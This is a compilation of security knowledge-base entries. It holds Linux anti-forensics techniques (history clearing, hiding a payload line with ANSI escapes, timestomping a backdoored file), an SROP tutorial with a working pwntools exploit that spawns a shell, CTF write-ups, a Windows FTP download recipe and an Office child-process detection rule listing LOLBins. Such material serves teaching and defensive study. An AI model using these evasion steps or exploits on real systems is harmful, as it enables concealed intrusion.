``` The entire command history can be purged as well, although this approach is much less subtle and very likely to be noticed: ```bash # Clears the in-memory history and writes the empty history to disk. history -c && history -w ``` ## Hiding Text ANSI escape sequences can be abused to hide text under certain circumstances. If the file's contents are printed to the terminal (e.g. `cat`, `head`, `tail`) then the text will be hidden. If the file is viewed with an editor (e.g. `vim`, `nano`, `emacs`), then the escape sequences will be visible. ```bash echo "sneaky-payload-command" > script.sh echo "# $(clear)" >> script.sh echo "# Do not remove. Generated from /etc/issue.conf by configure." >> script.sh # When printed, the terminal will be cleared and only the last line will be visible: cat script.sh ``` ## Timestomping Timestomping refers to the alteration of a file or directory's modification/access timestamps in order to conceal the fact that it was modified. The simplest way to accomplish this is with the `touch` command: ```bash # Changes the access (-a) and modification (-m) times using YYYYMMDDhhmm format. touch -a -m -t 202210312359 "example" # Changes time using a Unix epoch timestamp. touch -a -m -d @1667275140 "example" # Copies timestamp from one file to another. touch -a -m -r "other_file" "example" # Get the file's modification timestamp, modify the file, then restore the timestamp. MODIFIED_TS=$(stat --format="%Y" "example") echo "backdoor" >> "example" touch -a -m -d @$MODIFIED_TS "example" ``` It should be noted that `touch` can only modify the access and modification timestamps. It can't be used to update a file's "change" or "birth" timestamps. The birth timestamp, if supported by the filesystem, tracks when the file was created. The change timestamp tracks whenever the file's metadata changes, including updates to the access and modification timestamps. If an attacker has root privileges, they can work around this limitation by modifying the system clock, creating or modifying a file, then reverting the system clock: ```bash ORIG_TIME=$(date) date -s "2022-10-31 23:59:59" touch -a -m "example" date -s "${ORIG_TIME}" ``` Don't forget that creating a file also updates the parent directory's modification timestamp as well! ## References - [ATT&CK - Impair Defenses: Impair Command History Logging](https://attack.mitre.org/techniques/T1562/003/) - [ATT&CK - Indicator Removal: Timestomp](https://attack.mitre.org/techniques/T1070/006/) - [ATT&CK - Indicator Removal on Host: Clear Command History](https://attack.mitre.org/techniques/T1070/003/) - [ATT&CK - Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) - [Wikipedia - ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) - [InverseCos - Detecting Linux Anti-Forensics: Timestomping](https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP SEQUENCE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP SEQUENCE \- 删除一个序列 .SH SYNOPSIS .sp .nf DROP SEQUENCE \fIname\fR [, ...] [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP SEQUENCE\fR 从数据库中删除序列号生成器。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 序列名(可以有模式修饰)。 .TP \fBCASCADE\fR 自动删除依赖序列的对象。 .TP \fBRESTRICT\fR 如果存在任何依赖的对象,则拒绝删除序列。这个是缺省。 .SH "EXAMPLES 例子" .PP 从数据库中删除序列 serial: .sp .nf DROP SEQUENCE serial; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 DROP SEQUENCE。 .SH "SEE ALSO 参见" CREATE SEQUENCE [\fBcreate_sequence\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# J1 (forensics) ###ENG [PL](#pl-version) This was a multilevel forensics task. We were given a windows virtual machine to work with. The machine had user "M" with unknown password. Intially we reset the password, but this turned out to be a bad idea since the user had bitlocker encrypoted files and the password was necessary after all. So we used Ophcrack to recover the password hash `f6939966b0ffbc61c2c520cea20c2db0` and some online breaker told us this is `qwerty1234`. Now we could decrypt the files: * A picture with some meaningless email * Email hinting that admin likes to use the same password in many places * html page with some javascript The javascript has some placeholders for parameters we had to guess/bruteforce but after a while we got: ```javascript for (var d = 11; d < 12; d++) { var key = ""; var clear = ""; var encrypted = "96.28.95.118.9.2.58.29.56.52.44.25.58.51.83.8.108.20.53.37.88.2.71.80"; secret = navigator.platform + "en-UStrue2000" ; for (i=0; i < secret.length; i++) { key+= String.fromCharCode(secret.charCodeAt(i) ^ d);} encrypted = encrypted.split ("."); for (i=0; encrypted.length > key.length; i++) { key += key; } for (i=0; i < encrypted.length; i++) { clear += String.fromCharCode(key.charCodeAt(i) ^ parseInt(encrypted[i]));} document.write (clear + "<br>"); } ``` and were left with the only interesting result: ``` <~:N0l_;flS`D]j3W/iG=:~> ``` It took us a while to realise that this is ASCII85 encoding and it decodes to `OpenStego v0.6.1`. We used this tool on the picture we recovered, using the same admin password (as hinted in the recovered email) and we got a doc file from this. This doc file contained a macro with flag decryption. Sadly none of us had MS Word to open this :( Luckily quick thinking of one of our players saved us. He uploaded this Word file to Malwr, which then opened the file inside a sandbox and provided us with a useful memory dump. Among other things there was a base64 string, which decoded finally gave us the flag. ###PL version Zadanie było wielopoziomowym problemem z informatyki śledczej. Dostaliśmy windowsową maszynę wirtualną do pracy. Na maszynie był użytkownik "M" z nieznanym hasłem. Początkowo zresetowaliśmy hasło, ale to okazało się złym pomysłem, bo na dysku były pliku szyfrowane bitlockerem i hasło było potrzebne żeby je odzyskać. Użyliśmy Ophcracka żeby odzyskać hash hasła `f6939966b0ffbc61c2c520cea20c2db0` a jakiś onlinowy hash breaker powiedział że to `qwerty1234`. Teraz mogliśmy odszyfrować pliki: * Obrazek z nieistotnym mailem * Mail wspominający że admin lubi używać tego samego hasła wielokrotnie * Stronę html ze skryptem JS Skrypt miał pewne placeholdery które trzeba było zgadnąć / brutować ale po pewnym czasie uzyskaliśmy: ```javascript for (var d = 11; d < 12; d++) { var key = ""; var clear = ""; var encrypted = "96.28.95.118.9.2.58.29.56.52.44.25.58.51.83.8.108.20.53.37.88.2.71.80"; secret = navigator.platform + "en-UStrue2000" ; for (i=0; i < secret.length; i++) { key+= String.fromCharCode(secret.charCodeAt(i) ^ d);} encrypted = encrypted.split ("."); for (i=0; encrypted.length > key.length; i++) { key += key; } for (i=0; i < encrypted.length; i++) { clear += String.fromCharCode(key.charCodeAt(i) ^ parseInt(encrypted[i]));} document.write (clear + "<br>"); } ``` i otrzymaliśmy jedyny sensowny wynik: ``` <~:N0l_;flS`D]j3W/iG=:~> ``` Chwile zajęło nam odkrycie że to string kodowany jako ASCII85 i dekoduje się do `OpenStego v0.6.1`. Użyliśmy tego narzędzia na odzyskanym obrazku, używając tego samego hasła admina (jak zasugerowano w mailu który odzyskaliśmy) i dostaliśmy z tego plik doc. Ten plik worda zawierał makro które dekodowało flagę. Niestety nikt z nas nie miał pod ręką MS Worda i nie mogliśmy tego otworzyć. Szczęśliwie uratował nas świetny pomysł jednego z graczy. Wrzucił on rzeczony plik na Malwr, gdzie plik został otwarty w sandboxie, z którego dostaliśmy użyteczny memdump. Pośród różnych rzeczy był tam string base64, który po zdekodowaniu dał nam flagę.
sec-knowleage
#!/usr/bin/env python3 import gmpy2 from Crypto.Hash import SHA256 e = 65537 order = 'Give me the flag. This is an order!' def sqrt(n, p): if p % 4 != 3: raise NotImplementedError() return pow(n, (p + 1) // 4, p) if pow(n, (p - 1) // 2, p) == 1 else None # just elliptic-curve addition, nothing to see here def add(q, a, b, P, Q): if () in (P, Q): return (P, Q)[P == ()] (Px, Py), (Qx, Qy) = P, Q try: if P != Q: lam = (Qy - Py) * gmpy2.invert(Qx - Px, q) % q else: lam = (3 * Px ** 2 + a) * gmpy2.invert(2 * Py, q) % q except ZeroDivisionError: return () Rx = (lam ** 2 - Px - Qx) % q Ry = (lam * Px - lam * Rx - Py) % q return int(Rx), int(Ry) # just elliptic-curve scalar multiplication, nothing to see here def mul(q, a, b, n, P): R = () while n: if n & 1: R = add(q, a, b, R, P) P, n = add(q, a, b, P, P), n // 2 return R def decode(bs): if len(bs) < 0x40: return None s, m = int(bs[:0x40], 16), bs[0x40:] if s >= q: print('\x1b[31mbad signature\x1b[0m') return None S = s, sqrt(pow(s, 3, q) + a * s + b, q) if S[1] is None: print('\x1b[31mbad signature:\x1b[0m {:#x}'.format(S[0])) return None h = int(SHA256.new(m.encode()).hexdigest(), 16) if mul(q, a, b, e, S)[0] == h: return m else: print('\x1b[31mbad signature:\x1b[0m ({:#x}, {:#x})'.format(*S)) if __name__ == '__main__': q, a, b = map(int, open('curve.txt').read().strip().split()) for _ in range(1337): m = decode(input()) if m is not None and m.strip() == order: print(open('flag.txt').read().strip()) break
sec-knowleage
### windows 全平台自带ftp,在实战中需要考虑两点: * 数据传输的完整性。 * 代码得精简 ### ftp文件的传输方式: * Binary ,二进制传输 * Ascii ,ascII传输 在 FTP 文件传输过程中,ASCII 传输 HTML 和文本编写的文件,而二进制码传输可以传送文本和非文本(执行文件,压缩文件,图片等),具有通用性,二进制码传输速度比 ASCII 传输要快。所以在建立 bat 脚本时,一般输入 bin 命令,启用二进制传输。如果用 ASCII 模式传输非文本文件,可能会显示一堆乱码。ASCII 和binary 模式的区别是回车换行的处理。binary 模式不对数据进行任何处理,ASCII 模式将回车换行转换为本机的回车字符,比如Unix 下是 `\n`, Windows 下是`\r\n`,Mac 下是`\r`。Unix 系统下行结束符是一个字节,即十六进制的 `0A`,而 ms 的系统是两个字节,即十六进制的 `0D0A`。 ```bash echo open 192.168.1.115 21> ftp.txt echo 123>> ftp.txt //user echo 123>> ftp.txt //password echo binary >> ftp.txt //bin模式 echo get robots.txt >> ftp.txt echo bye >> ftp.txt ``` ![](media/c5c7ac3159ec54aebb31f66d8de10af7.jpg) ![](media/c165fc58678e3ce58625166bd8a2b927.jpg) > Micropoor
sec-knowleage
version: '2' services: server: image: vulhub/zabbix:3.0.3-server command: server depends_on: - mysql environment: - DATABASE_HOST=mysql - DATABASE_PORT=3306 - DATABASE_USER=root - DATABASE_PASS=root - DATABASE_NAME=zabbix ports: - "10051:10051" agent: image: vulhub/zabbix:3.0.3-server command: agent depends_on: - mysql - server environment: - ZBX_SRV_HOST=server - ZBX_SRV_HOST_ACT=server - DATABASE_HOST=mysql - DATABASE_PORT=3306 - DATABASE_USER=root - DATABASE_PASS=root - DATABASE_NAME=zabbix mysql: image: mysql:5 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=zabbix volumes: - ./database/:/docker-entrypoint-initdb.d/ web: image: vulhub/zabbix:3.0.3-web depends_on: - server - mysql environment: - DATABASE_HOST=mysql - DATABASE_PORT=3306 - DATABASE_USER=root - DATABASE_PASS=root - DATABASE_NAME=zabbix - ZBX_SRV_HOST=server - ZBX_SRV_PORT=10051 ports: - "8080:80"
sec-knowleage
# T1566-001-win-可疑的MS Office子进程 ## 来自ATT&CK的描述 攻击者可能发送带有恶意附件的鱼叉式电子邮件,以试图访问受害者系统。鱼叉式附件与其他形式的鱼叉式附件的不同之处在于,它使用了附加到电子邮件的恶意软件。所有形式的鱼叉式广告都是以电子方式交付的针对特定个人,公司或行业的社会工程学。在这种情况下,攻击者会将文件附加到欺骗性电子邮件中,并且通常依靠用户执行来获得执行。 附件有很多选项,例如Microsoft Office文档,可执行文件,PDF或存档文件。打开附件(并可能单击过去的保护)后,攻击者的有效负载会利用漏洞或直接在用户的系统上执行。鱼叉式电子邮件的文本通常试图给出一个合理的原因来解释为什么应该打开该文件,并且可能会解释如何绕开系统保护措施。该电子邮件还可能包含有关如何解密附件(例如zip文件密码)的说明,以逃避电子邮件边界防御。攻击者经常操纵文件扩展名和图标,以使附加的可执行文件看起来像文档文件,或者利用一个应用程序的文件看起来像是另一文件的文件。 ## 测试案例 暂无 ## 检测日志 windows安全日志/sysmon日志 ## 测试复现 暂无测试案例 ## 测试留痕 暂无,可参看windows 4688进程创建日志样例,辅助理解。 ```yml Pre-Windows 2016/10 A new process has been created. Subject: Security ID: WIN-R9H529RIO4Y\Administrator Account Name: Administrator Account Domain: WIN-R9H529RIO4Y Logon ID: 0x1fd23 Process Information: New Process ID: 0xed0 New Process Name: C:\Windows\System32\notepad.exe Token Elevation Type: TokenElevationTypeDefault (1) Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x8c0 Creator Process Name: c:\windows\system32\explorer.exe Process Command Line: C:\Windows\System32\notepad.exe c:\sys\junk.txt ``` ## 检测规则/思路 ### Elastic rule query ```yml event.action:"Process Create (rule: ProcessCreate)" and process.parent.name:(eqnedt32.exe or excel.exe or fltldr.exe or msaccess.exe or mspub.exe or powerpnt.exe or winword.exe) and process.name:(Microsoft.Workflow.Compiler.exe or arp.exe or atbroker.exe or bginfo.exe or bitsadmin.exe or cdb.exe or certutil.exe or cmd.exe or cmstp.exe or cscript.exe or csi.exe or dnx.exe or dsget.exe or dsquery.exe or forfiles.exe or fsi.exe or ftp.exe or gpresult.exe or hostname.exe or ieexec.exe or iexpress.exe or installutil.exe or ipconfig.exe or mshta.exe or msxsl.exe or nbtstat.exe or net.exe or net1.exe or netsh.exe or netstat.exe or nltest.exe or odbcconf.exe or ping.exe or powershell.exe or pwsh.exe or qprocess.exe or quser.exe or qwinsta.exe or rcsi.exe or reg.exe or regasm.exe or regsvcs.exe or regsvr32.exe or sc.exe or schtasks.exe or systeminfo.exe or tasklist.exe or tracert.exe or whoami.exe or wmic.exe or wscript.exe or xwizard.exe) ``` ### 建议 可自行转换为sigma格式,来实现对多个平台的支持。 ## 参考推荐 MITRE-ATT&CK-T1566-001 <https://attack.mitre.org/techniques/T1566/001/> 检测可疑的MS Office子进程 <https://www.elastic.co/guide/en/siem/guide/current/suspicious-ms-office-child-process.html>
sec-knowleage
# Generated by Django 3.1.4 on 2021-07-05 11:59 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Collection', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=128)), ], ), ]
sec-knowleage
htdigest === Apache服务器内置工具 ## 补充说明 **htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。 ### 语法 ```shell htdigest(选项)(参数) ``` ### 选项 ```shell -c:创建密码文件。 ``` ### 参数 * 密码文件:指定要创建或更新的密码文件; * 域:指定用户名所属的域; * 用户名:要创建或者更新的用户名。
sec-knowleage
# SROP ## 基本介绍 SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出,其相关研究**`Framing Signals — A Return to Portable Shellcode`**发表在安全顶级会议[Oakland 2014](http://www.ieee-security.org/TC/SP2014)上,被评选为当年的[Best Student Papers](http://www.ieee-security.org/TC/SP2014/awards.html)。其中相关的paper以及slides的链接如下: [paper](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf) [slides](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf) 其中,`sigreturn`是一个系统调用,在类unix系统发生signal的时候会被间接地调用。 ## signal机制 signal机制是类unix系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。一般来说,信号机制常见的步骤如下图所示: 1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。 2. 内核会为该进程保存相应的上下文,**主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址**。此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。 对于signal Frame来说,会因为架构的不同而有所区别,这里给出分别给出x86以及x64的sigcontext - x86 ```c struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; }; ``` - x64 ```c struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; }; ``` 3. signal handler返回后,内核为执行sigreturn系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行。其中,32位的sigreturn的调用号为119(0x77),64位的系统调用号为15(0xf)。 ## 攻击原理 仔细回顾一下内核在signal信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在Signal Frame中。但是需要注意的是: - Signal Frame被保存在用户的地址空间中,所以用户是可以读写的。 - 由于内核与信号处理程序无关(kernel agnostic about signal handlers),它并不会去记录这个signal对应的Signal Frame,所以当执行sigreturn系统调用时,此时的Signal Frame并不一定是之前内核为用户进程保存的Signal Frame。 说到这里,其实,SROP的基本利用原理也就出现了。下面举两个简单的例子。 ### 获取shell 首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示,这里以64位为例子,给出Signal Frame更加详细的信息 当系统执行完sigreturn系统调用之后,会执行一系列的pop指令以便于恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时,便会得到一个shell。 ### system call chains 需要指出的是,上面的例子中,我们只是单独的获得一个shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可 - **控制栈指针。** - **把原来rip指向的`syscall` gadget换成`syscall; ret` gadget。** 如下图所示 ,这样当每次syscall返回的时候,栈指针都会指向下一个Signal Frame。因此就可以执行一系列的sigreturn函数调用。 ### 后续 需要注意的是,我们在构造ROP攻击的时候,需要满足下面的条件 - **可以通过栈溢出来控制栈的内容** - **需要知道相应的地址** - **"/bin/sh"** - **Signal Frame** - **syscall** - **sigreturn** - 需要有够大的空间来塞下整个sigal frame 此外,关于sigreturn以及syscall;ret这两个gadget在上面并没有提及。提出该攻击的论文作者发现了这些gadgets出现的某些地址: 并且,作者发现,有些系统上SROP的地址被随机化了,而有些则没有。比如说`Linux < 3.3 x86_64`(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系统中默认内核),可以直接在vsyscall中的固定地址处找到syscall&return代码片段。如下 但是目前它已经被`vsyscall-emulate`和`vdso`机制代替了。此外,目前大多数系统都会开启ASLR保护,所以相对来说这些gadgets都并不容易找到。 值得一说的是,对于sigreturn系统调用来说,在64位系统中,sigreturn系统调用对应的系统调用号为15,只需要RAX=15,并且执行syscall即可实现调用syscall调用。而RAX寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说read函数的返回值为读取的字节数。 ## 利用工具 **值得一提的是,在目前的pwntools中已经集成了对于srop的攻击。** ## 示例 这里以360春秋杯中的smallest-pwn为例进行简单介绍。基本步骤如下 **确定文件基本信息** ```text ➜ smallest file smallest smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped ``` 可以看到该程序为64位静态链接版本。 **检查保护** ```text ➜ smallest checksec smallest Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 程序主要开启了NX保护。 **漏洞发现** 实用IDA直接反编译看了一下,发现程序就几行汇编代码,如下 ```asm public start start proc near xor rax, rax mov edx, 400h mov rsi, rsp mov rdi, rax syscall retn start endp ``` 根据syscall的编号为0,可以知道该程序执行的指令为read(0,$rsp,400),即向栈顶读入400个字符。毫无疑问,这个是有栈溢出的。 **利用思路** 由于程序中并没有sigreturn调用,所以我们得自己构造,正好这里有read函数调用,所以我们可以通过read函数读取的字节数来设置rax的值。重要思路如下 - 通过控制read读取的字符数来设置RAX寄存器的值,从而执行sigreturn - 通过syscall执行execve("/bin/sh",0,0)来获取shell。 **漏洞利用程序** ```python from pwn import * from LibcSearcher import * small = ELF('./smallest') if args['REMOTE']: sh = remote('127.0.0.1', 7777) else: sh = process('./smallest') context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_addr = 0x00000000004000B0 ## set start addr three times payload = p64(start_addr) * 3 sh.send(payload) ## modify the return addr to start_addr+3 ## so that skip the xor rax,rax; then the rax=1 ## get stack addr sh.send('\xb3') stack_addr = u64(sh.recv()[8:16]) log.success('leak stack addr :' + hex(stack_addr)) ## make the rsp point to stack_addr ## the frame is read(0,stack_addr,0x400) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + 'a' * 8 + str(sigframe) sh.send(payload) ## set rax=15 and call sigreturn sigreturn = p64(syscall_ret) + 'b' * 7 sh.send(sigreturn) ## call execv("/bin/sh",0,0) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe) print len(frame_payload) payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00' sh.send(payload) sh.send(sigreturn) sh.interactive() ``` 其基本流程为 - 读取三个程序起始地址 - 程序返回时,利用第一个程序起始地址读取地址,修改返回地址(即第二个程序起始地址)为源程序的第二条指令,并且会设置rax=1 - 那么此时将会执行write(1,$esp,0x400),泄露栈地址。 - 利用第三个程序起始地址进而读入payload - 再次读取构造sigreturn调用,进而将向栈地址所在位置读入数据,构造execve('/bin/sh',0,0) - 再次读取构造sigreturn调用,从而获取shell。 ## 题目 - [Defcon 2015 Qualifier: fuckup](https://brant-ruan.github.io/resources/Binary/learnPwn/fuckup_56f604b0ea918206dcb332339a819344) 参考阅读 - [Sigreturn Oriented Programming (SROP) Attack攻击原理](http://www.freebuf.com/articles/network/87447.html) - [SROP by Angel Boy](https://www.slideshare.net/AngelBoy1/sigreturn-ori) - [系统调用](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit)
sec-knowleage
# 58.1 翻转单词顺序列 ## 题目描述 [牛客网](https://www.nowcoder.com/practice/3194a4f4cf814f63919d0790578d51f3?tpId=13&tqId=11197&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 ```html Input: "I am a student." Output: "student. a am I" ``` ## 解题思路 先翻转每个单词,再翻转整个字符串。 题目应该有一个隐含条件,就是不能用额外的空间。虽然 Java 的题目输入参数为 String 类型,需要先创建一个字符数组使得空间复杂度为 O(N),但是正确的参数类型应该和原书一样,为字符数组,并且只能使用该字符数组的空间。任何使用了额外空间的解法在面试时都会大打折扣,包括递归解法。 ```java public String ReverseSentence(String str) { int n = str.length(); char[] chars = str.toCharArray(); int i = 0, j = 0; while (j <= n) { if (j == n || chars[j] == ' ') { reverse(chars, i, j - 1); i = j + 1; } j++; } reverse(chars, 0, n - 1); return new String(chars); } private void reverse(char[] c, int i, int j) { while (i < j) swap(c, i++, j--); } private void swap(char[] c, int i, int j) { char t = c[i]; c[i] = c[j]; c[j] = t; } ```
sec-knowleage
.TH smbrun 1 Samba "23 Oct 1998" .SH NAME smbrun - smbd和外部程序间的接口程序。 .SH 总览 SYNOPSIS smbrun shell-command .SH 描述 DESCRIPTION 此程序是samba套件的一部分。 smbrun是个非常小的``粘合''程序,用于为smbd守护程序\fBsmbd\fR(8)运行一些shell命令。 它首先把用户和组身份改成所能达到的最高级别,然后运行\fIsystem()\fR调用中的命令行。这个程序 可以顺利地允许一些操作系统以非root身份运行外部程序。 .SH 选项 OPTIONS \fIshell-command\fR 要执行的shell命令。这个命令应该带有全路径。 .SH 环境变量 ENVIRONMENT VARIABLES 如果没有给出完整的路径信息,smbrun所执行时的PATH 环境变量会影响可执行程序的查找位置及运行。 .SH 诊断 如果无法定位\fBsmbrun\fR或者不能通过\fBsmbd\fR执行命令,我们可以在\fBsmbd\fR记录文件中找到一些相应的信息。其它一些诊断信息取决于运行的shell命令。最好让你执行的shell命令来提供有用的诊断信息,用来除错。 .SH 版本 此手册页是针对samba套件版本2.0的。 .SH 另见 .PP \fBsmb.conf\fR (5), \fBsmbd\fR (8) .SH "作者 AUTHOR" .PP samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。 .PP 最初的samba手册页是 Karl Auer写的。 手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。 Gerald Carter 在Samba2.2中将它转化为DocBook 格式。 Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。 .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2000/12/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Stronger Enigma Category: Reversing, 70 Points ## Description > > ``` > / / // --- / / > / / // /O/ / / > / / // --- / / > / / // / / > | | || --- | | > | | || |N| | | > | | || --- | | > | | || --- | | > |---| || |M| |---| > | | || --- | | > /| | || --- | | > / | | || |L| | | / > /_________________________/ > | __________________ | | > | / .-. .-. .-. \ | > | | ( Q ) ( W ) ( E ) | | > | | "-".-."-".-."-" | | > |O | ( A ) ( S ) | O| > | | .-."-".-."-".-. | | > | | ( Z ) ( X ) ( C ) | | > | \ "-" "-" "-" / | > | ------------------ | > |___ .-. __ .-. __ .-.-._| > \ / 1 \ / 2 \ / 3 6 \ \ | > |\ \ Q / \ W / \ E Y / \| > |--- "-" "-" "-"-" ---| > | | | > .-. .-. .-. > / ( \ / ) \ / ? \ > \ Z / \ X / \ C / > "-" "-" "-" > ``` > > John Savard > > We caught an undercover agent in our facilities. > > He was transmitting sensitive data to our enemies using some kind of crypto machine. > > We were able to capture the machine but the agent destroyed the encryption configuration he used. > > It's national security matter and we only trust you to solve the mystery - what was his message? > > We were able to track the enemy's other machine in this address: 18.156.68.123:80. > > We COUNT on you on this, don't let us down! > > Good Luck! A Python script was attached. ```python import string import random def create_configuration(): number_of_rotors = random.randrange(3, 6) rotates_amounts = [3, 5, 7, 11, 17, 19, 23] result = [] for _ in range(number_of_rotors): rotor = "".join(random.sample(string.ascii_uppercase, 26)) rotates_amount = random.choice(rotates_amounts) result.append([rotor, rotates_amount]) return result class StrongerEnigma: class Rotor: def __init__(self, configuration, rotate_amount): self.data = configuration self.rotate_amount = rotate_amount def rotate(self): self.data = self.data[self.rotate_amount:] + self.data[:self.rotate_amount] def encrypt(self, char): char_idx = string.ascii_uppercase.index(char) encrypted = self.data[char_idx] self.rotate() return encrypted def decrypt(self, char): char_idx = self.data.index(char) decrypted = string.ascii_uppercase[char_idx] self.rotate() return decrypted def __init__(self): todays_configuration = create_configuration() self.rotors = [] for d in todays_configuration: self.rotors.append(StrongerEnigma.Rotor(d[0], d[1])) def __encrypt_char(self, char): encrypted = char if char in string.ascii_uppercase: for r in self.rotors: encrypted = r.encrypt(encrypted) return encrypted def __decrypt_char(self, char): decrypted = char if char in string.ascii_uppercase: for r in reversed(self.rotors): decrypted = r.decrypt(decrypted) return decrypted def encrypt(self, message): encrypted_message = "" for char in message: encrypted_message += self.__encrypt_char(char) return encrypted_message def decrypt(self, message): decrypted_message = "" for char in message: decrypted_message += self.__decrypt_char(char) return decrypted_message def send_interface(machine): to_send = """ HELLO FIELD AGENT! COMMANDS: SEND-SECRET-DATA GET-SECRET-DATA GOODBYE """ message = machine.encrypt(to_send) send(message) return message def process_message(server_machine, message): decrypted = server_machine.decrypt(message) if decrypted == "GET-SECRET-DATA": flag = open("flag.txt", "rt").read() encrypted = server_machine.encrypt(flag) send(encrypted) elif decrypted == "SEND-SECRET-DATA": encrypted = receive() decrypted = server_machine.decrypt(encrypted) open("secrets.txt", "a+").write(decrypted) elif decrypted == "GOODBYE": send("See you next time") exit() else: send("I don't understand you") def send(message): pass #couldn't extract this part of code from the machine def receive(): pass #couldn't extract this part of code from the machine def doEngima(): starting_session_seconds = time.time() send("Insecure channel. Encrypting with today's configuration..") machine = StrongerEnigma() while True: send_interface(machine) client_message = receive() process_message(machine, client_message) ``` ## Solution Let's connect to the attached server: ```console root@kali:/media/sf_CTFs/checkpoint/Stronger_Enigma# nc 18.156.68.123 80 Insecure channel. Encrypting with today's configuration.. ZXMFT DBSBX JSJWK! IGGYBYFX: NYVY-AVKLEX-LYDJ SJC-LURSSA-XGYX JWBDLON ``` According to the sources, this is the program interface encoded with the current configuration: ``` HELLO FIELD AGENT! COMMANDS: SEND-SECRET-DATA GET-SECRET-DATA GOODBYE ``` We can press "enter" multiple times and receive the same message encoded with the next configuration: ```console root@kali:/media/sf_CTFs/checkpoint/Stronger_Enigma# nc 18.156.68.123 80 Insecure channel. Encrypting with today's configuration.. ZXMFT DBSBX JSJWK! IGGYBYFX: NYVY-AVKLEX-LYDJ SJC-LURSSA-XGYX JWBDLON I don't understand you QLVBK QQJTI 